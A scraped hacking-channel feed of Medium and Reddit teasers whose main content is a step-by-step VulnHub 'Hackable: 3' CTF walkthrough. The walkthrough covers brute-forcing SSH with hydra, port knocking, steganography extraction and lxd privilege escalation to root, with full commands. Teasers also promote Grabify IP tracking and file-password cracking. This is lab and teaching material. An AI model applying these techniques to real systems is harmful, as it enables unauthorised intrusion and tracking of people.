Hacking on Medium
Cracking PDFs and ZIP files

https://cdn-images-1.medium.com/max/626/0*fbjNrI_HUk4xYkv8.jpg
Password protecting your files using a password is a great way to add additional security controls. The problem is, there are tools out…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Grabify is a service that can help you identify who is on the receiving end of your chats or emails.

https://cdn-images-1.medium.com/max/1360/0*MOpgqcLB3JHoJI_a.png
The link to the site is: https://grabify.link/

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Steganography is a way of hiding data in plain sight.

https://cdn-images-1.medium.com/max/600/0*bkTua1BjZTUXBVtE
This practice is commonly used to hide malware inside other files in order to get it onto a victim’s machine. The user would just see or…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
If you have a piece of tape covering your webcam, you have most likely heard that hackers or the…

https://cdn-images-1.medium.com/max/626/0*a4BTOtaz2OycdHO-.jpg
Now it could be that your CCTV, IP camera is simply exposed on the Internet and the attacker has found it on sites such as Shodan. You…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
If you look at your phone, you will most likely have around 3–4 shopping or social media…

https://cdn-images-1.medium.com/max/626/0*ItoH5EHU0n2Q1GDE.jpg
The “Forgot my password” might save you in times of need but it could also be your downfall. If you think about some of the shopping or…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How Digital Security Demands Strong Passwords

https://cdn-images-1.medium.com/max/1125/0*ppw3cMWi4SCBliIP
We are digital citizens who use the password as the key to unlocking the doors of digital portals.

Continue reading on The Daily Cuppa »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Hackable: 3 VulnHub Walkthrough

Hackable: 3, Vulnhub medium machine was created by Elias Sousa and can be downloaded here.This lab is designed for experienced CTF players who want to put their abilities to the test. We used the machine in the way that it was designed. Also, if you haven’t checked the machine or are having problems, you can attempt every approach you know. The key is port knocking, so let’s get started and discover how to split things down into digestible chunks. Pentesting MethodologyNetwork Scanning

* netdiscover
* nmap

Enumeration

* abusing http
* dirb
* wordlist
* port knocking

Exploitation

* hydra
* ssh
* user flag
* linpeas

Privilege Escalation

* lxd
* root flag

Level: Medium Network ScanningTo begin with, we must use the netdiscover command to scan the network for the IP address of the victim machine.
netdiscover
Our IP address is 192.168.1.185.

https://blogger.googleusercontent.com/img/a/AVvXsEhVERM4UlvgrikfFqiOYmQ2Z8vmPZ-73pkMQCBy9i1-QOZTAtw7kcVLbzG5x-EFkjAVrvUb1NmlpxbATDh4a4c8yWXs3IbJemu2bA8mpCQa7h_X6nv3BPNBPaRsjUGvPtnmMckC9_POPfDnnloZ_yv4mJBvz8h6h9ygCWb5nXGYXzwqpT0UsPq_UgEpgw=s16000

To move forward in this process, we are launching Nmap. For open port enumeration.
nmap -sC -sV 192.168.1.185
According to Nmap, we have an SSH server operating on port 22 and an HTTP service (Apache Server) running on port 80.

https://blogger.googleusercontent.com/img/a/AVvXsEh7BOL_YWDJOF051U9Nug9s-L59Ic1QK5YcjB5iX7Qkytt9ykvj8rVYILq7c9UZjI1XK30nxoXvkamcNP0ZvCLZQwq-hOhmgeexZAW94nN8dUzVO4HmtxC3Itqo7savKGUpNrAlxMkm3x6bNKL9vuNMaUYd5KmKtSyUNnCkiy7WdOeoQ2PGE8NxBYFLUw=s16000 EnumerationFirst, we’ll attempt to use HTTP. Let’s look at port 80 and see if anything interesting comes up. We can immediately verify it in the browser because the Apache Server is listening on port 80.

https://blogger.googleusercontent.com/img/a/AVvXsEi211wSF6iWL58biBopenZC8-0IZEaqXGblPKo7gtWQ3y77D2KwmCuCwLrxh8AiYkz7ZhSndIjgJL7JCABakYKKUUuHMK_4kx4s0xCy5_IlIBQ8FbCaw2j0m0s4RGdJw3gWz27scHQF4HFhYJyZ4--W_J4AWuN_SQo5P3uRSL_cTjnglO7OgPz-EDmH3g=s16000 w

Nothing in-trusting on the main page. As a result, we examined its source code and discovered some information that will be valuable in this lab.

* We received a link to the login page.
* We chose the username “jubiscleudo.”
* We have gotten a hint that this lab requires port knocking.

https://blogger.googleusercontent.com/img/a/AVvXsEg5dzsOwH__RbupQ-l5c033EKAS_KlSorzXpRQYECF8Eu_baDuetC0dNVN8i-FkHx5Njequkd9FpqRTWARIhskPJ1ECZnUhTNVepG5p4F5jVZ_HVMkFEp69kUsQ5xn1LKuETe12MLy_Upb07rw-TNhmosHSMiRzofKOMYwUDLtNfqnJZ6sy5iXcKDy9hQ=s16000

To find out more about this laboratory. To uncover certain hidden directory paths, we execute a dirb directory scan.
dirb http://192.168.1.185/
Let’s look through a lot of trustworthy directories, so let’s look through them one by one.

https://blogger.googleusercontent.com/img/a/AVvXsEgfDEzIaFgeGbBYlMfZKye_YNErmR_EsGKAvrjNgteQhZ9HkfxjfiSXnVzgalmE_LAiL2uyjoFbe0-LT_LItng9DnHSkeQVOn1lwKCDWGgsxuKkX6w7wn6gruokYREDdlOvxrnxYaDI8oPsiTTOC8MFvKD7CqxYLSOBJE5O__vTPYSlH9WzHAW6deRoIw=s16000

So, let’s have a look at the first result backup directory. We obtained a word list file that might be valuable in the future.

https://blogger.googleusercontent.com/img/a/AVvXsEgVZr5GcfS-MY8iGAWRKBjXMCkjJdzsUlOly6xYQVwsnGlnpNzxr3H9qbNucRp0TnrcH24edDpHN8MnRD4rDGx0TekOqe6SvCvcEt8HFO_L73m-3Hlrfsirm6mGHgodJMq6kdbquTCas_3HX6ylII__nhO3j8i6h_ZJCTIqSpZRMMfPrlPCXWDggT5tIg=s16000

As a result, we run the wget command to download this word list to our machine.
wget http://192.168.1.185/backup/wordlist.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhLZM499xBUbcE72tbHdXo13bTYS-wE5Zd0gsAIK-8ZCfiIBS26gyQHinfoNxv2h_HKXd7ILA1j9OehSYdyCZKy8SqfsdLEpOkZ7tMbAyKwy8mTma2zPNnuno-ljdlS1YMvUm7Tdags5PAenN-FQOY2GRY4oM4HOaA[...]

___________________________
@hacking_Attack
@Hacking_Video

BmZ5gJq-ougO2PyJ7CnlvZhVtag=s16000

Let’s look at the second config directory; we found a file called 1.txt. We ran this file through the browser and discovered some essential but mysterious context.

https://blogger.googleusercontent.com/img/a/AVvXsEj0utZBhOMYO_pXGcaN-_Vjvj3r_qrsqim8JJz4ILThIQFglyv1lCG475WzxQlLN4EAyeuwnuzy4PjQLN63TC4OGcsMOysI8BHLwuB6bIWzvqgoBQuVeiwcRNEUtFYtk3mgkNyx9s-9kNV4BscJQWd6Czins-VsDu7D5T96r8XVKfDFQn-OyR7WGr9xww=s16000

As a result, we attempt to decode this text using the following command.We received our first text of port knocking after recovering the initial text (10000).
echo MTAwMDA= | base64 -d
https://blogger.googleusercontent.com/img/a/AVvXsEgonhSm44bJZc5fmvbpi7g0RqmAaT9UjwllWkObLO-EALHuV89yRKLUcvcQLbsYJa-HBFm4Lj2nAVgj17ibVlY3gh4gbNn5nSWhr8UxDsF9DI346MFJTiTqJBFRri4noWeSblQlQ_D5oPb6vWtTwTLYZHPvChQz-Ci0HDMIBSS5wcLP5W2qmoiLx-Z8cg=s16000

When we checked the third one (CSS directory), we got another text file called 2.txt. where we obtained an enumeration of brain fucks.

https://blogger.googleusercontent.com/img/a/AVvXsEjmFUIY0qp3UIHI8_LU04ORswWN8T1iEFPQAIW0rzjh6K3o5F2DCXwOgZoKIuDP2-51BLV5rCpfR8ygyZpRd_My1sbZPOkfMfb3NBrhjM7BM356R_OqcG9cuzrh8us3BLR2B1i6cnn9OzfU9dolL1U367em0opfsMyKROCPxY8wi4skQJneo9eXpzQLIA=s16000

So, we checked the brain fuck decoder online and recovered the second context (4444) of port knocking activity by providing them with our text.

https://blogger.googleusercontent.com/img/a/AVvXsEg53JmRn9-a9LhwhtHVjUYE16CsWxDXW3rohNyCX4luBpoSykts6FCjdKqHlAACkDDu5twYYiD8a7OyR4kd3e72Vbdns8xRsBIgmUenLSQq4O52vVr1yc0Nqnlb6nUCKrQPlX-ZxfgoSu8fNvPDO2peI-ay-xbuohs6cFf__SUkSE9PX95QBFX13LxWLA=s16000

Now we have two port knocking contexts: 10000 and 4444. Remember that we obtained a link to a login page earlier? We immediately checked that URL but found nothing interesting. So, we looked at the source code. We found an image called 3.jpg that might provide some insight into the problem.

https://blogger.googleusercontent.com/img/a/AVvXsEjUQ73dkIia9EO5R77nxiP9mRfgL9NYzYd0tXdcBhfhKS9YVkE-Ok9TaQ-YHSzkv8YbUiaRQcyBtprc2wAFFnP8fkHAsfuuErceIodB3hMEQlMRIxaaIygncjm4K57foKqH8D0WwIbui1qkT_nqniu6rhcUEnA8WylMzPUzsBEw_G_EvqviuKwvVYb8DQ=s16000
We looked at that image, but there was nothing unusual about it. We’ll have to think beyond the box.

https://blogger.googleusercontent.com/img/a/AVvXsEju1fwyTWbGTIQo_nmuPKXadl8_ZvhYbE4FaOVTxAz5CIj_FDRtQw7KlueubQcAKGPlBEuu8DBKzGLKO7VWimOZZM-I3XzuVz4nA7smSAk7AZlnKt3KlxEgq7XkfuSHa8DDSK0scWIzpyjzGCvatlTMxOVcT6_CgztHp1y2Ru0DO5MfNz84f01WaZzL_w=s16000

It might have something, so we considered steghide, which could be useful in certain situations. For our image file, we now provide the steghide tool. Hurray!! We received a top-secret text file.
steghide extract -sf 3.jpg
To explore this file, we use the cat command. Congratulations!! 65535 is our third context of port knocking.
cat steganopayload48505.txt
https://blogger.googleusercontent.com/img/a/AVvXsEgaW5gIjfhX1cFYtylI_IZle-QWiOcUq0ZjjPaZfIsOfOyi1wXaD7CjMPD79HZvGjaSVQrAq8umJDyyFyaGjWnDt0cdEfB3B4QrUWMBkMvnNiHKndrEvm7WkjY_LxKmpumvoNWQRbg0GVBwjCYVhqtL7o5fPk07bjfFR_RM3CgOZExn9VdKUNGEL7-DVw=s16000

We’re now ready to perform port knocking. We’re good to go if we use this command in conjunction with our context.
knock 192.168.1.185 10000 4444 65535
We run a nmap scan after port knocking to see what results we get. As you can see, the ssh port has been opened.
nmap -sV 192.168.1.185
https://blogger.googleusercontent.com/img/a/AVvXsEj4XJ8il2EhcF72wFhFketOyAtyYJDbwGmqFUyR-5wPOH3b4qu2f7W0XDWYvm_cKHxElmiz2qXLtLiUaj1eurO6B6RH7ylPby9gfRz9eAkdnshBsNjQ_XW38_i8uN_9UvjpCiEJVRH366AJVxd8P4_Z-3B3Da_sqwJ5KflFSgOxUAVbjdnS-aPfX_p0eg=s16000 ExploitationNow we’re ready to attempt exploitation using the information we gained from previous outcomes, including a user name gained from source code. Let’s try a brute force attack with the word list we stored for later.

Let’s use the hydra to[...]

___________________________
@hacking_Attack
@Hacking_Video

ol to begin a brute force attack. Bingo!! We have a username (jubiscleudo) and a password (onlymy).
hydra -l jubiscleudo -P wordlist.txt 192.168.1.185 ssh
https://blogger.googleusercontent.com/img/a/AVvXsEgRiTvTej74I9DIgtAF81tYZ5f0SrrJgAerLXU4-SWzKPsuhoEW6-cqVdlHslGjRppt9DHGD_Mpkr1IfYs969Vw8eIdZ4PrmGvE3thomXDeWWh2KXYrbN5vDb4-y70C09ZVDjQPcztgrTvYi1NoKzRosqeJm-X6fIoBfmG1OsaA4hcwUzhvCbdAyRwk3w=s16000

Now let’s use the credentials we received from the brute-force attack to log into ssh. Hurray!! The user jubiscleudo was successfully logged in. We instantly examined its id, then used the cat command to reveal the hidden user flag.
ssh jubiscleudo@192.168.1.185
id
ls -la
cat .user.txt
https://blogger.googleusercontent.com/img/a/AVvXsEjJw9wksN1n69ofidQ1f6ZtZz-Is2sGg0r5x7pl4hJxHTFFGm-vK7VCFZapsY-u7LhoCHeVqvUMMCq37SVk3zF0dw88qwZ76ZhqUDJjnqjBorSmdC8bqqtKBj00_gf77W_qPkg47icXFM3zc_zlwtgnIvixTh3Ysk8fDNtxfTptLWtxMfsLUZxpgkom4w=s16000

After all of this, we require another clue in order to get further into this machine. As a result, we employ the linpeas script to uncover some more buried data. More information about this script may be found here.

In a matter of seconds, we received another set of credentials for the user hackable_3 in a matter of seconds.

https://blogger.googleusercontent.com/img/a/AVvXsEifJn7QfUAcZXSACxZtg1gVsm_B6IiaMPZss-b7Leo8112EzO1WqbzMpF4CFozCotd9Wecb6SWoxNHasfvsqMnf3_yIW2s1uWfipdhLV-GQTP5cokireDqBKEJ9MzZ264tAA-Jpy5f3WME4bX5r8UxD7FltEYG5rJ5JVrb2bVjTRqhq6C4CgO6QPKFVSA=s16000 Privilege EscalationLet’s get this party started by changing the user to hackable_3. Then, after checking its user id, we discovered that it was potentially vulnerable to lxd. As a result, we can use lxd privilege escalation to gain root access.
su hackable_3
id
https://blogger.googleusercontent.com/img/a/AVvXsEjbosxw5QOudklWRdOZLYF7JmnxHjjiYn2qgjHgRuc5-Caaf2L-escvcbyDiNKmRhDwbV9KJ_Dhy_WIeIhJbrZP3yYIz64j5P5Y-S8_l2-wOeCZBjC1uQC7HIm_9lqkZPzBytQfLBQ3gK9lIJQJF7tGTSTdCEg-oka8KCXrALq9tMbtisWlVSHuoYOlkA=s16000

Privilege escalation via lxd necessitates the use of a local account, which we already have. To escalate the root privileges of the host system, we must first generate an image for lxd, which requires the following steps:

Steps must be taken on the host machine are as follows:

* Take a look at the alpine image.
* Import an image into lxd.
* Create a new container to hold the image.
* The container should be mounted in the /root

So, we downloaded the build alpine using the reference of our article from here.
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
https://blogger.googleusercontent.com/img/a/AVvXsEiLqEuZ-BuTAxRr64uf2LmXOMYLiYKW9TGpiNBVErYR1SZJpu0_FAjs64HmHCEaz-YuR8E3ffP7xjAm7ruhR73yg1l6RpeHcZQ4Rvn2218alE3zhIZi1USA5zjpgPqpc8WYzBPW90XG-oqZaG4LkefNAPEDTVL_wrvWpUodnFB3MfHCLXH4JkjydlJ4dg=s16000

We use a simple python http server to transfer this file to the victim’s machine. On the other hand, we will download the alpine-image to the victim machine’s /tmp directory.
wget 192.168.1.3:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
After the image has been created, it may be added to LXD as an image as follows:
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
Use the list command to check the list of images.
lxc image list
https://blogger.googleusercontent.com/img/a/AVvXsEg4njfsqOVgdjRK4nlzgsUF9hcJ_ZHKn66CTJ34ujdtAQ6bvt1A3XIjV_7GzvlkqgSBa9EdGge0yMyPbn274fDuvKlecAB26wHXjUZOL5jx6Lu5UNSt13_qPmu6IIV1ufMI9ruJFzaL3Sg5YVdPzzBQQGXevxqixX5vwU4FNC14WMkSwrHV4XAwO5YFaw=s16000

We receive an error message stating that we do not have a storage pool. As a result, we must create one. We can use default settings in this case.
lxd init
After that, I proceeded as follows, continuing from the previous failed step.
lxc init myimage ignite -c security.privileged=true
lxc config device and ignite mydevice disk sourc[...]

___________________________
@hacking_Attack
@Hacking_Video

e=/path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Navigate to /mnt/root to see all resources from the host machine once inside the container.

After we have run the bash script. We can see that we have a different shell, which is the container’s shell. This container contains all of the host machine’s files. As a result, we enumerated the area in search of the flag and discovered it.
cat root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEgdJsfKy-vsLrCL5ZtCpwViXDPpGOwS0b_ADX5q_h9wWJUzRXb_yn0OVMcPEZ_bMuNGqX0NsW7R3C4NmAg06GpTrWK4N0lNzjXZwRx58vj7Ldilr8RNfp66kVpP1yuU_ARVFIXubZkST_zUrmbSiRRZvnZBpypHOVhZBaTFMe-pmf30vAm5iNxBS2myJQ=s16000

This was an excellent lab with a lot of information, particularly in the enumeration and privilege escalation sections. It is worthwhile to try to obtain some CTF experience. Hopefully, you guys will learn something new from this walkthrough.

Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedIn and Twitter.

The post Hackable: 3 VulnHub Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
A Clever way to Hide data inside a image

https://external-preview.redd.it/IinPVaNGG6lem5aNDNgk1o8gI773OJdAd21RdKZifkc.jpg?width=640&crop=smart&auto=webp&s=c196da82d19fb99af7a16d8e3b1f58e9d033339a submitted by /u/Beginning-Safe4282
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
If my goal is be a malware writer, what skills do I have to have?

Hey guys!

What skills I have to have if my goal is be a malware writer?

submitted by /u/-Red_Shark
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
4 Ways to Develop Your Team's Cyber Skills

Organizations need to invest in professional development — and then actually make time for it.

Dark Reading: Attacks/Breaches
Cisco's Kenna Security Research Shows the Relative Likelihood of an Organization Being Exploited

A record-breaking 20,130 vulnerabilities were reported in 2021. However, only 4% pose a high risk to organizations.

___________________________
@hacking_Attack
@Hacking_Video